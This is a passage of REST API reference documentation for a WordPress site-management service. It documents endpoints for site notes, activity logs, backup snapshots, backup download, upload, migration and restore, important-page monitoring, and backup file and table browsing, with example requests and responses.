- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned notes.
- `filters` (query, optional, object) — Filters applied to returned notes.

Successful responses:

- **200** — Notes returned successfully.

```json
{
  "notes": [
    {
      "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a",
      "content": "Plugin update completed",
      "user": {
        "name": "Admin",
        "email": "admin-notes@example.com"
      },
      "versions": {
        "available": true
      },
      "created_at": "2026-02-27T10:00:00Z",
      "updated_at": "2026-02-28T08:45:00Z"
    },
    {
      "id": "b9f2d4a6c8e1f3b5d7a9c1e3f5b7d9a2c4e6f8b1d3a5c7e9",
      "content": "Cache cleared after plugin update",
      "user": {
        "name": "Owner",
        "email": "owner-notes@example.com"
      },
      "versions": {
        "available": false
      },
      "created_at": "2026-02-26T14:20:00Z",
      "updated_at": "2026-02-26T14:20:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 429

#### Create site note

`POST /sites/{site_id}/notes`  
Operation ID: `createSiteNote`

Creates one note for the selected site.

Use this to capture a handoff, store site-specific context, or document
completed operational work.

Send `note.content` with the note text. `content` is required, must be
non-blank, and can be up to 2500 characters. The note is attributed to
the current user.

A successful response returns the created note.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `note`

```json
{
  "note": {
    "content": "Security scan enabled"
  }
}
```

Successful responses:

- **201** — Note created successfully.

```json
{
  "note": {
    "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a",
    "content": "Security scan enabled",
    "user": {
      "name": "Owner",
      "email": "owner-notes@example.com"
    },
    "versions": {
      "available": false
    },
    "created_at": "2026-02-28T09:00:00Z",
    "updated_at": "2026-02-28T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show site note

`GET /sites/{site_id}/notes/{note_id}`  
Operation ID: `showSiteNote`

Returns one current note attached to the selected site.

Use this when you need the saved content and version availability for one
note.

A successful response returns the note.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `note_id` (path, required, string) — Note ID returned in Notes responses.

Successful responses:

- **200** — Note returned successfully.

```json
{
  "note": {
    "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a",
    "content": "Plugin update completed",
    "user": {
      "name": "Admin",
      "email": "admin-notes@example.com"
    },
    "versions": {
      "available": true
    },
    "created_at": "2026-02-27T10:00:00Z",
    "updated_at": "2026-02-28T08:45:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Delete site note

`DELETE /sites/{site_id}/notes/{note_id}`  
Operation ID: `deleteSiteNote`

Removes one note from the selected site.

Use this when a note should no longer be kept with the site.

Previous content versions for the note are removed with it.

A successful response returns no response body.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `note_id` (path, required, string) — Note ID returned in Notes responses.

Successful responses:

- **204** — The note was removed. No response body is returned.

Errors: 401, 403, 404, 422, 429

#### Update site note

`POST /sites/{site_id}/notes/{note_id}/update`  
Operation ID: `updateSiteNote`

Updates the content of one note for the selected site.

Use this when a note needs to reflect the latest operational state.

Send `note.content` with the replacement note text. `content` is
required, must be non-blank, and can be up to 2500 characters.

Updating content keeps the same note ID and makes previous content
available in note versions.

A successful response returns the updated note.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `note_id` (path, required, string) — Note ID returned in Notes responses.

Request body (required): `application/json`

Required fields: `note`

```json
{
  "note": {
    "content": "Plugin update completed and cache cleared"
  }
}
```

Successful responses:

- **200** — Note updated successfully.

```json
{
  "note": {
    "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a",
    "content": "Plugin update completed and cache cleared",
    "user": {
      "name": "Admin",
      "email": "admin-notes@example.com"
    },
    "versions": {
      "available": true
    },
    "created_at": "2026-02-27T10:00:00Z",
    "updated_at": "2026-02-28T08:45:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### List note versions

`GET /sites/{site_id}/notes/{note_id}/versions`  
Operation ID: `listSiteNoteVersions`

Returns previous content versions for one note, ordered from most recent
to oldest.

Use this when `versions.available` is `true` and you need to review
earlier note text.

The current note content is not included in `versions`; view the note to
get the current content.

A successful response returns previous note versions.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `note_id` (path, required, string) — Note ID returned in Notes responses.

Successful responses:

- **200** — Note versions returned successfully.

```json
{
  "versions": [
    {
      "id": "c4e6f8b1d3a5c7e9f2b4d6a8c1e3f5b7d9a2c4e6f8b1d3a5",
      "content": "Initial plugin update note",
      "user": {
        "name": "Admin",
        "email": "admin-notes@example.com"
      },
      "created_at": "2026-02-27T10:00:00Z",
      "updated_at": "2026-02-27T10:00:00Z"
    },
    {
      "id": "b8d4f2a6c9e1b3d5f7a9c2e4b6d8f1a3c5e7b9d2f4a6c8e1",
      "content": "Plugin update scheduled for maintenance window",
      "user": {
        "name": "Priya",
        "email": "priya-notes@example.com"
      },
      "created_at": "2026-02-26T16:30:00Z",
      "updated_at": "2026-02-26T16:30:00Z"
    }
  ]
}
```

Errors: 401, 403, 404, 429

### Activity Logs

#### List activity logs

`GET /sites/{site_id}/activity-logs`  
Operation ID: `listSiteActivityLogs`

Returns activity log entries for the selected site.

Use this list to review what changed on the site, when it happened, and
any user, IP address, object, event, or detail information captured for
each activity.

The selected site must have activity logging enabled.

A successful response returns a paginated list of activity logs.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `timestamp`, `username`, `ip_address`, `search`, `object_type`, `event_type`
- Supported operators:
  - `gte`: `timestamp`
  - `lte`: `timestamp`
  - `eq`: `username`, `ip_address`, `object_type`, `event_type`
  - `contains`: `username`, `ip_address`, `search`
- Use ISO 8601 timestamps for `timestamp` filters
- Supported `object_type` values for matching: `post`, `comment`, `category`, `tag`, `menu`, `user_profile`, `plugin`, `theme`, `multisite`, `user`, `wp_core`, `site`, `files`, `woocommerce_product`, `woocommerce_order`, `woocommerce_product_category`, `woocommerce_product_tag`, `woocommerce_product_attribute`, `woocommerce_tax_rate`, `woocommerce_product_download_access`, `woocommerce_shipping_zone_method`, `unknown`
- Supported `event_type` values for matching: `added`, `created`, `edited`, `updated`, `modified`, `deleted`, `published`, `drafted`, `pending`, `scheduled`, `trashed`, `stuck`, `unstuck`, `approved`, `unapproved`, `spammed`, `activated`, `deactivated`, `changed`, `archived`, `unarchived`, `login`, `logout`, `password_reset`, `hacked`, `granted`, `revoked`, `status_changed`, `unknown`
- Default time range: from site creation time through the current time
- Example: `filters[username:eq]=admin`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `timestamp`, `object_type`, `event_type`, `username`, `ip_address`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `timestamp,desc`
- Example: `sort=timestamp,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of activity logs per page.
- `sort` (query, optional, string) — Sort order for returned activity logs.
- `filters` (query, optional, object) — Filters applied to returned activity logs.

Successful responses:

- **200** — Activity logs were returned.

```json
{
  "activity_logs": [
    {
      "id": "e4c7a9f2d8b1c5e6",
      "username": "admin",
      "ip_address": "192.0.2.10",
      "country_code": "US",
      "object_type": "plugin",
      "event_type": "activated",
      "event_details": {
        "plugin": {
          "name": "Example Plugin",
          "version": "1.0.0"
        }
      },
      "timestamp": "2026-03-01T04:12:54Z"
    },
    {
      "id": "6f3a8d2c1e9b7f4a",
      "username": "editor",
      "ip_address": "198.51.100.8",
      "country_code": "IN",
      "object_type": "post",
      "event_type": "updated",
      "event_details": {},
      "timestamp": "2026-03-01T03:45:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 25,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Enable activity logs

`POST /sites/{site_id}/activity-logs/enable`  
Operation ID: `enableSiteActivityLogs`

Enables activity logging for the selected site.

Use this when the site should start collecting new activity events.

Another site configuration change cannot already be in progress.

A successful response returns `activity_logs.enabled: true`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Activity logs were enabled.

```json
{
  "activity_logs": {
    "enabled": true
  }
}
```

Errors: 401, 403, 404, 409, 422, 429

#### Disable activity logs

`POST /sites/{site_id}/activity-logs/disable`  
Operation ID: `disableSiteActivityLogs`

Disables activity logging for the selected site.

Use this when the site should stop collecting new activity events.

Another site configuration change cannot already be in progress.

A successful response returns `activity_logs.enabled: false`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Activity logs were disabled.

```json
{
  "activity_logs": {
    "enabled": false
  }
}
```

Errors: 401, 403, 404, 409, 422, 429

### Snapshots

#### List site snapshots

`GET /sites/{site_id}/snapshots`  
Operation ID: `listSiteSnapshots`

Returns backup snapshots for the selected site. Each snapshot shows when
it was created, its backup status, any note or failure message, file and
database totals, security scan result, detected issues, and whether
performance metrics are available.

Use this list to review backup history and choose a snapshot for
download, upload, migration, restore, or detailed inspection.

The selected site must support Backups and have backups enabled.

By default, results show the last seven days of snapshots. If only one
`created_at` filter is sent, the other date limit still applies.

A successful response returns a paginated list of snapshots.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `created_at`, `status`, `scanner_status`, `note`
- Supported operators:
  - `gte`: `created_at`
  - `lte`: `created_at`
  - `eq`: `status`, `scanner_status`
  - `present`: `note`
- Use ISO 8601 timestamps for `created_at` filters
- Supported status values for matching: `succeeded`, `failed`, `in_progress`, `waiting`, `cancelled`
- Supported `scanner_status` values for matching: `clean`, `hacked`
- Boolean filters accept `true` or `false`
- Example: `filters[status:eq]=succeeded`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `files_synced`, `tables_synced`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned snapshots.
- `filters` (query, optional, object) — Filters applied to returned snapshots.

Successful responses:

- **200** — Snapshots were returned.

```json
{
  "snapshots": [
    {
      "id": "65a8f4c2d1b3e7f9a0c5d8e2",
      "created_at": "2026-01-09T09:06:43Z",
      "status": "succeeded",
      "note": "Before plugin update",
      "error_message": null,
      "backups": {
        "enabled": true,
        "real_time": false,
        "files": {
          "count": {
            "total": 12,
            "synced": 10,
            "ignored": 2
          },
          "size": {
            "total": 1200,
            "synced": 1000,
            "ignored": 200
          }
        },
        "database": {
          "count": {
            "total": 6,
            "synced": 5,
            "ignored": 1
          },
          "size": {
            "total": 200,
            "synced": 200,
            "ignored": 0
          }
        }
      },
      "security": {
        "enabled": true,
        "scanner": {
          "status": "clean",
          "detections": {
            "files": 0,
            "scripts": 0,
            "cron_jobs": 0
          }
        }
      },
      "performance": {
        "enabled": true
      }
    },
    {
      "id": "72b9a5d4c8e1f3a6b0d2c7e9",
      "created_at": "2026-01-08T09:06:43Z",
      "status": "failed",
      "note": null,
      "error_message": "Snapshot failed.",
      "backups": {
        "enabled": true,
        "real_time": true,
        "files": {
          "count": {
            "total": 4,
            "synced": 4,
            "ignored": 0
          },
          "size": {
            "total": 400,
            "synced": 400,
            "ignored": 0
          }
        },
        "database": {
          "count": {
            "total": 2,
            "synced": 2,
            "ignored": 0
          },
          "size": {
            "total": 0,
            "synced": 0,
            "ignored": 0
          }
        }
      },
      "security": {
        "enabled": true,
        "scanner": {
          "status": "hacked",
          "detections": {
            "files": 1,
            "scripts": 0,
            "cron_jobs": 0
          }
        }
      },
      "performance": {
        "enabled": true
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show site snapshot

`GET /sites/{site_id}/snapshots/{snapshot_id}`  
Operation ID: `showSiteSnapshot`

Returns detailed backup, security, and performance information for one
snapshot on the selected site.

Use this after listing snapshots to inspect one snapshot's backup
totals, security scan details, detected issues, and performance metrics.

The selected site must support Backups and have backups enabled.

Performance metric values are `null` when performance monitoring was not
enabled or no metric was captured.

A successful response returns the snapshot details.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (path, required, string) — Snapshot ID returned in the snapshot list.

Successful responses:

- **200** — Snapshot details were returned.

```json
{
  "snapshot": {
    "id": "65a8f4c2d1b3e7f9a0c5d8e2",
    "created_at": "2026-01-09T09:06:43Z",
    "status": "succeeded",
    "note": "Before plugin update",
    "error_message": null,
    "backups": {
      "enabled": true,
      "real_time": false,
      "files": {
        "count": {
          "total": 12,
          "synced": 10,
          "ignored": 2
        },
        "size": {
          "total": 1200,
          "synced": 1000,
          "ignored": 200
        }
      },
      "database": {
        "count": {
          "total": 6,
          "synced": 5,
          "ignored": 1
        },
        "size": {
          "total": 200,
          "synced": 200,
          "ignored": 0
        }
      }
    },
    "security": {
      "enabled": true,
      "scanner": {
        "status": "clean",
        "files": {
          "total": 12,
          "scanned": 10
        },
        "database": {
          "total": 6,
          "scanned": 5
        },
        "detections": {
          "files": 0,
          "scripts": 0,
          "cron_jobs": 0
        }
      }
    },
    "performance": {
      "enabled": true,
      "score": 85,
      "load_time": 1.2,
      "page_size": 512000,
      "total_requests": 42
    }
  }
}
```

Errors: 401, 403, 404, 422, 429

### Backup Download

#### Start backup download

`POST /sites/{site_id}/backups/{snapshot_id}/download`  
Operation ID: `startSiteBackupDownload`

Starts a background task that packages files, database tables, or selected
parts of a completed snapshot for download.

Use this after choosing a snapshot when you need a downloadable backup
package for that site.

The request body uses the `download` wrapper. Send `paths` only when
`download.scope.include_files` is `true`, and send `tables` only when
`download.scope.include_database` is `true`.

When real-time events are enabled,
`download.options.real_time_events.until` is required and must be an
timestamp in ISO 8601 format.

A successful response returns the task created for the backup download.
Use the returned task ID with Tasks to check status.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (path, required, string) — Snapshot ID returned in site snapshot lists and details.

Request body (required): `application/json`

Required fields: `download`

```json
{
  "download": {
    "scope": {
      "include_files": true,
      "include_database": true,
      "paths": [
        "./wp-content/uploads/"
      ],
      "tables": [
        "wp_posts"
      ]
    },
    "options": {
      "real_time_events": {
        "enabled": true,
        "until": "2026-01-10T09:00:00Z"
      }
    }
  }
}
```

Successful responses:

- **201** — Backup download started successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "initializing",
    "created_at": "2026-02-21T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 409, 422, 429

### Backup Upload

#### Start backup upload

`POST /sites/{site_id}/backups/{snapshot_id}/upload`  
Operation ID: `startSiteBackupUpload`

Starts a background task that uploads files, database tables, or selected
parts of a completed snapshot to a connected backup destination.

Use this after choosing a snapshot when selected backup content should be
copied to Dropbox or Google Drive.

The request body uses the `upload` wrapper. Send
`upload.destination.provider` as `dropbox` without a destination ID.
Send `upload.destination.provider` as `google_drive` with
`upload.destination.id` set to the connected Google Drive backup
destination ID.

Send `paths` only when `upload.scope.include_files` is `true`, and send
`tables` only when `upload.scope.include_database` is `true`.

When real-time events are enabled,
`upload.options.real_time_events.until` is required and must be an
timestamp in ISO 8601 format.

A successful response returns the task created for the backup upload.
Use the returned task ID with Tasks to check status.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (path, required, string) — Snapshot ID returned in site snapshot lists and details.

Request body (required): `application/json`

Required fields: `upload`

```json
{
  "upload": {
    "destination": {
      "provider": "dropbox"
    },
    "scope": {
      "include_files": true,
      "include_database": true
    }
  }
}
```

Successful responses:

- **201** — Backup upload started successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "initializing",
    "created_at": "2026-02-21T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 409, 422, 429

### Backup Migration

#### Start backup migration

`POST /sites/{site_id}/backups/{snapshot_id}/migrate`  
Operation ID: `startSiteBackupMigration`

Starts a background task that migrates files, database tables, or selected
parts of a completed snapshot to an internal or external destination.

Use this after choosing a snapshot when selected backup content should be
moved to another WordPress installation.

The request body uses the `migration` wrapper. Send `migration.type` as
`internal` to migrate to another site available to you in the same
account. Send `migration.type` as `external` to migrate to an external
destination with server and database credentials.

Send `paths` only when `migration.scope.include_files` is `true`, and
send `tables` only when `migration.scope.include_database` is `true`.
Internal migrations may omit `migration.connection` or use HTTP with
optional HTTP Basic Auth credentials. External migrations require
`migration.connection.method` set to `ftp`, server credentials, and
database credentials.

When real-time events are enabled,
`migration.options.real_time_events.until` is required and must be an
timestamp in ISO 8601 format.

A successful response returns the task created for the backup migration.
Use the returned task ID with Tasks to check status.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (path, required, string) — Snapshot ID returned in site snapshot lists and details.

Request body (required): `application/json`

Required fields: `migration`

```json
{
  "migration": {
    "destination_url": "https://destination.example.com",
    "type": "internal",
    "scope": {
      "include_files": true,
      "include_database": true
    },
    "connection": {
      "method": "http",
      "credentials": {
        "http_auth": {
          "username": "site_user",
          "password": "site_password"
        }
      }
    },
    "options": {
      "real_time_events": {
        "enabled": true,
        "until": "2026-01-10T09:00:00Z"
      }
    }
  }
}
```

Successful responses:

- **201** — Backup migration started successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "initializing",
    "created_at": "2026-02-21T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 409, 422, 429

### Backup Restore

#### Start backup restore

`POST /sites/{site_id}/backups/{snapshot_id}/restore`  
Operation ID: `startSiteBackupRestore`

Starts a background task that restores files, database tables, selected
paths or tables, or selected WordPress multisite subsites from a
completed snapshot back to the site.

Use this after choosing a snapshot when the source site needs to recover
all or selected backup content.

The request body uses the `restore` wrapper. At least one of
`restore.scope.include_files` or `restore.scope.include_database` must
be `true`. Send `paths` only when `restore.scope.include_files` is
`true`, and send `tables` only when
`restore.scope.include_database` is `true`.

`restore.scope.subsite_ids` is accepted only for multisite sites. When
sent, subsite IDs are expanded to matching paths and tables before the
restore starts. Explicit `paths` or `tables` override generated subsite
selections for that content type.

Omit `restore.connection` to use same-site HTTP restore. HTTP restores
accept only optional HTTP Basic Auth credentials. FTP restores require
server and database credentials.

When real-time events are enabled,
`restore.options.real_time_events.until` is required and must be an
timestamp in ISO 8601 format.

A successful response returns the task created for the backup restore.
Use the returned task ID with Tasks to check status.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (path, required, string) — Snapshot ID returned in site snapshot lists and details.

Request body (required): `application/json`

Required fields: `restore`

```json
{
  "restore": {
    "scope": {
      "include_files": true,
      "include_database": true
    }
  }
}
```

Successful responses:

- **201** — Backup restore started successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "initializing",
    "created_at": "2026-02-21T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 409, 422, 429

### Backups Activation

#### Enable site backups

`POST /sites/{site_id}/backups/enable`  
Operation ID: `enableSiteBackups`

Turns backups on for the selected site and returns the site's backup
state after the change.

Use this when the selected site should start creating backup snapshots.
No request body is required.

The site plan must support Backups.

A successful response returns `backups.enabled: true`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Backups were enabled.

```json
{
  "backups": {
    "enabled": true
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Disable site backups

`POST /sites/{site_id}/backups/disable`  
Operation ID: `disableSiteBackups`

Turns backups off for the selected site and returns the site's backup
state after the change.

Use this when a site should stop creating backup snapshots. No request
body is required.

A successful response returns `backups.enabled: false`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Backups were disabled.

```json
{
  "backups": {
    "enabled": false
  }
}
```

Errors: 401, 403, 404, 422, 429

### Important Pages

#### List important pages

`GET /sites/{site_id}/important-pages`  
Operation ID: `listSiteImportantPages`

Returns important pages configured for the selected site. Each item
includes the page URL and important page ID.

Use this list to review monitored pages or find the important page ID
for a page that should be removed.

Important page monitoring must be available for the selected site. When
it is not available, the list cannot be returned.

A successful response returns a paginated list of important pages.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).

Successful responses:

- **200** — Important pages were returned.

```json
{
  "important_pages": [
    {
      "id": "f5b7c1a0d3e9f7b2",
      "url": "https://example.com/pricing"
    },
    {
      "id": "9c2d6b4e1a7f0d88",
      "url": "https://example.com/contact"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Create important page

`POST /sites/{site_id}/important-pages`  
Operation ID: `createSiteImportantPage`

Creates a page URL in the selected site's Important Pages list.

Use this to monitor a specific page on the site.

The URL must use HTTP or HTTPS, belong to the site's domain, and not
already be added as an important page. Important Pages must be available
for the selected site, and the site must have capacity for another
monitored page.

A successful response returns the created important page.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `important_page`

```json
{
  "important_page": {
    "url": "https://example.com/pricing"
  }
}
```

Successful responses:

- **201** — Important page was created.

```json
{
  "important_page": {
    "id": "f5b7c1a0d3e9f7b2",
    "url": "https://example.com/pricing"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Delete important page

`DELETE /sites/{site_id}/important-pages/{important_page_id}`  
Operation ID: `deleteSiteImportantPage`

Removes a page URL from the selected site's important pages.

Use this when that page should no longer be monitored.

Send the `important_page_id` returned as `id` in the list or create
response. If this was the last important page, monitoring is disabled
for the site.

A successful response returns no response body.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `important_page_id` (path, required, string) — Important page ID returned in Important Pages responses.

Successful responses:

- **204** — Important page was removed and no response body is returned.

Errors: 400, 401, 403, 404, 422, 429

### Files

#### List site files

`GET /sites/{site_id}/files`  
Operation ID: `listSiteFiles`

Returns files and folders from one directory path in a completed backup
snapshot.

Use this list to browse a backup file tree, find file IDs for version or
download requests, or check which directories are included in future
backups.

If `snapshot_id` is omitted, the latest completed backup snapshot is
used. If `path` is omitted, the snapshot root (`./`) is listed.

A successful response returns a paginated list of files and folders.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `status`, `modified_at`, `name`, `size`
- Supported operators:
  - `eq`: `status`
  - `gte`: `modified_at`, `size`
  - `lte`: `modified_at`, `size`
  - `contains`: `name`
- Supported status values for matching: `synced`, `skipped`
- `name:contains` matches the file or folder basename and is case-sensitive
- Use ISO 8601 timestamps for `modified_at` filters
- `size` filter values must be non-negative integers
- Example: `filters[name:contains]=index`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Snapshot ID. When omitted, the latest completed backup snapshot is used.
- `path` (query, optional, string) — Directory path to list. Defaults to `./`.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `filters` (query, optional, object) — Filters applied to returned files and folders.

Successful responses:

- **200** — Files and folders were returned.

```json
{
  "files": [
    {
      "id": "MTc2Nzk0OTY2NV80MDk2X0xpOTNjQzFqYjI1MFpXNTBMeTg9",
      "name": "wp-content",
      "path": "./wp-content/",
      "type": "folder",
      "size": 4096,
      "modified_at": "2026-01-09T09:07:45Z",
      "status": "synced"
    },
    {
      "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==",
      "name": "index.php",
      "path": "./index.php",
      "type": "file",
      "size": 405,
      "modified_at": "2026-01-09T09:06:43Z",
      "status": "synced"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### List file versions

`GET /sites/{site_id}/files/versions`  
Operation ID: `listSiteFileVersions`

Returns available backup versions for a file path.

Use this after listing files when you need to choose a version to
download.

Send exactly one of `id` or `path`. The `id` value is the file ID
returned by the file list.

A successful response returns file version IDs with modification times
and sizes.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `id` (query, optional, string) — File ID returned by the file list.
- `path` (query, optional, string) — File path relative to the snapshot root.

Successful responses:

- **200** — File versions were returned.

```json
{
  "versions": [
    {
      "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==",
      "modified_at": "2026-01-09T09:06:43Z",
      "size": 405
    },
    {
      "id": "MTc2NzgwMDAwMF8zOTBfTGk5cGJtUmxlQzV3YUhBPQ==",
      "modified_at": "2026-01-07T10:13:20Z",
      "size": 390
    }
  ]
}
```

Errors: 400, 401, 403, 404, 429

#### Show file stats

`GET /sites/{site_id}/files/stats`  
Operation ID: `showSiteFileStats`

Returns file, folder, and byte stats for one completed backup snapshot.

Use this to compare the backup content included in future backups with
the content that is skipped.

If `snapshot_id` is omitted, the latest completed backup snapshot is
used. When `path` is sent, totals are calculated recursively
under that path.

A successful response returns `files`, `folders`, and `size` stats,
each split into `total`, `synced`, and `skipped`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Snapshot ID. When omitted, the latest completed backup snapshot is used.
- `path` (query, optional, string) — Directory path scope. When sent, totals are calculated recursively under this path.

Successful responses:

- **200** — File stats were returned.

```json
{
  "stats": {
    "files": {
      "total": 3692,
      "synced": 3600,
      "skipped": 92
    },
    "folders": {
      "total": 128,
      "synced": 120,
      "skipped": 8
    },
    "size": {
      "total": 52428800,
      "synced": 51380224,
      "skipped": 1048576
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Download file version

`GET /sites/{site_id}/files/download`  
Operation ID: `downloadSiteFile`

Downloads a backed-up file version as a binary attachment.

Use this after listing files or versions when you need the file
contents.

Identify the version with either `id` or the full `path`, `modified_at`,
and `size` tuple. Do not send `id` with any tuple field in the same
request.

A successful response returns a binary file attachment.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `id` (query, optional, string) — File ID returned by the file list or file versions.
- `path` (query, optional, string) — File path to download. Must be sent with `modified_at` and `size` when `id` is not sent.
- `modified_at` (query, optional, string) — File modification time for exact version download.
- `size` (query, optional, integer) — File size in bytes for exact version download.

Successful responses:

- **200** — Binary file attachment.

Errors: 400, 401, 403, 404, 429

#### Mark directories for sync

`POST /sites/{site_id}/files/sync`  
Operation ID: `syncSiteFiles`

Marks one or more directory paths for inclusion in future backups.

Use this when a previously skipped directory should be backed up again.

Submitted paths are checked against the latest completed backup
snapshot file tree. Duplicate paths are processed once. WordPress
installation paths cannot be marked for sync.

Partial success is possible when some paths are marked for sync and
others fail validation. Failed paths are returned inside `sync.errors`.

A successful response returns directory paths marked for sync, failed
paths, and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `paths`

```json
{
  "paths": [
    "./wp-content/uploads/",
    "./wp-content/themes/custom-theme/"
  ]
}
```

Successful responses:

- **200** — Directory sync request was processed, with failed paths returned in `sync.errors`.

```json
{
  "sync": {
    "paths": [
      "./wp-content/uploads/",
      "./wp-content/themes/custom-theme/"
    ],
    "errors": []
  },
  "meta": {
    "requested": 2,
    "succeeded": 2,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Mark directories to skip

`POST /sites/{site_id}/files/skip`  
Operation ID: `skipSiteFiles`

Marks one or more directory paths to exclude from future backups.

Use this when cache, temporary, or otherwise unnecessary directories
should stop being backed up.

Submitted paths are checked against the latest completed backup
snapshot file tree. Duplicate paths are processed once. WordPress
installation paths can be marked to skip when they are valid
directories.

Partial success is possible when some paths are marked to skip and
others fail validation. Failed paths are returned inside `skip.errors`.

A successful response returns directory paths marked to skip, failed
paths, and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `paths`

```json
{
  "paths": [
    "./wp-content/cache/",
    "./wp-content/uploads/tmp/"
  ]
}
```

Successful responses:

- **200** — Directory skip request was processed, with failed paths returned in `skip.errors`.

```json
{
  "skip": {
    "paths": [
      "./wp-content/cache/",
      "./wp-content/uploads/tmp/"
    ],
    "errors": []
  },
  "meta": {
    "requested": 2,
    "succeeded": 2,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Tables

#### List site tables

`GET /sites/{site_id}/tables`  
Operation ID: `listSiteTables`

Returns database tables from one completed backup snapshot.

Use this list to review each table's name, row count, data size,
creation time, and whether it is included in future backups.

If `snapshot_id` is omitted, the latest completed backup snapshot is
used.

A successful response returns a paginated list of database tables.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `rows`, `size`, `status`
- Supported operators:
  - `contains`: `name`
  - `gte`: `rows`, `size`
  - `lte`: `rows`, `size`
  - `eq`: `status`
- Supported status values for matching: `synced`, `skipped`
